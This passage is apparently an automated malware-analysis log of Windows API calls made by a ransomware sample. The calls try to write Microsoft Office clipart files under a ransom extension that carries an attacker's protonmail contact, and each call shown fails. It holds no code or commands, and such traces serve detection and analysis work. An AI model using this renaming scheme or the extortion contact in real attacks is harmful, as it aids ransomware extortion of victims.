dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.944] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.944] CloseHandle (hObject=0x118c) returned 1 [0245.946] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.946] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.946] CloseHandle (hObject=0x118c) returned 1 [0245.947] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.947] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.948] CloseHandle (hObject=0x118c) returned 1 [0245.949] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.949] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.949] CloseHandle (hObject=0x118c) returned 1 [0245.951] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.951] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.951] CloseHandle (hObject=0x118c) returned 1 [0245.952] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.953] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.953] CloseHandle (hObject=0x118c) returned 1 [0245.954] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.954] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.954] CloseHandle (hObject=0x118c) returned 1 [0245.955] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.955] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.956] CloseHandle (hObject=0x118c) returned 1 [0245.958] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.958] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.958] CloseHandle (hObject=0x118c) returned 1 [0245.960] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.960] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.961] CloseHandle (hObject=0x118c) returned 1 [0245.961] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.962] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.962] CloseHandle (hObject=0x118c) returned 1 [0245.963] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.963] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.963] CloseHandle (hObject=0x118c) returned 1 [0245.964] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.964] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.965] CloseHandle (hObject=0x118c) returned 1 [0245.966] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.966] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.967] CloseHandle (hObject=0x118c) returned 1 [0245.969] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.969] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.969] CloseHandle (hObject=0x118c) returned 1 [0245.970] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.970] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.970] CloseHandle (hObject=0x118c) returned 1 [0245.971] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.971] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.972] CloseHandle (hObject=0x118c) returned 1 [0246.625] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.625] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.625] CloseHandle (hObject=0x11f0) returned 1 [0246.627] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.627] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.627] CloseHandle (hObject=0x11f0) returned 1 [0246.629] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.629] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.629] CloseHandle (hObject=0x11f0) returned 1 [0246.630] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.630] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.630] CloseHandle (hObject=0x11f0) returned 1 [0246.634] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.634] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.634] CloseHandle (hObject=0x11f0) returned 1 [0246.636] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.636] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.636] CloseHandle (hObject=0x11f0) returned 1 [0246.637] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.637] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.638] CloseHandle (hObject=0x11f0) returned 1 [0246.639] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.639] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.639] CloseHandle (hObject=0x11f0) returned 1 [0246.640] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.640] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.640] CloseHandle (hObject=0x11f0) returned 1 [0246.641] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.641] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.641] CloseHandle (hObject=0x11f0) returned 1 [0246.643] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.643] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.643] CloseHandle (hObject=0x11f0) returned 1 [0246.644] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.644] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.644] CloseHandle (hObject=0x11f0) returned 1 [0246.645] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.645] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.646] CloseHandle (hObject=0x11f0) returned 1 [0246.646] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.646] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.647] CloseHandle (hObject=0x11f0) returned 1 [0246.648] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.648] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.648] CloseHandle (hObject=0x11f0) returned 1 [0246.649] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.649] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 